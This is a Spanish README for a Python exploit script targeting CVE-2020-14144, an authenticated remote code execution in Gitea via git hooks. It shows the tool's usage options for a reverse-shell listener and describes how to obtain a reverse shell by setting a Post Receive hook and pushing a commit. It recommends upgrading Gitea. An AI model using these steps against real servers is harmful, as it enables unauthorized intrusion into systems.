
Un script para explotar CVE-2020-14144 - Ejecución Remota de Código autenticada en GiTea usando git hooks
Un script para explotar CVE-2020-14144 - Ejecución remota de código autenticada en GiTea mediante ganchos de git
-f$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
Para explotar con éxito esta vulnerabilidad/característica, la versión del servidor GiTea objetivo debe estar entre la versión 1.1.0 y la versión 1.13, y necesitas una cuenta válida (nombre de usuario, contraseña) con los derechos "May create git hooks" activados.

Desde el punto de vista de la administración del sistema, el proceso de gitea se ve así antes de la explotación:

En primer lugar, necesitamos crear un repositorio en la interfaz web de GiTea usando nuestra cuenta. Creamos el repositorio y vamos a Settings -> Git Hooks -> Post Receive Hook. En este gancho puedes escribir un script de shell que se ejecutará después de recibir un nuevo commit.

Ahora crearemos un directorio temporal en nuestra máquina atacante y haremos push al repositorio remoto. Esto activará el script Post Receive Hook.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
Después de hacer push del commit al repositorio remoto, se activará el script Post Receive Hook y ¡tendremos una shell inversa!

Después de la explotación, un administrador del sistema puede ver fácilmente nuestra shell inversa desprendida en los procesos hijos de GiTea:

Se recomienda actualizar al menos a la versión 1.13.0.
Las solicitudes de extracción (pull requests) son bienvenidas. No dudes en abrir un issue si deseas agregar otras características.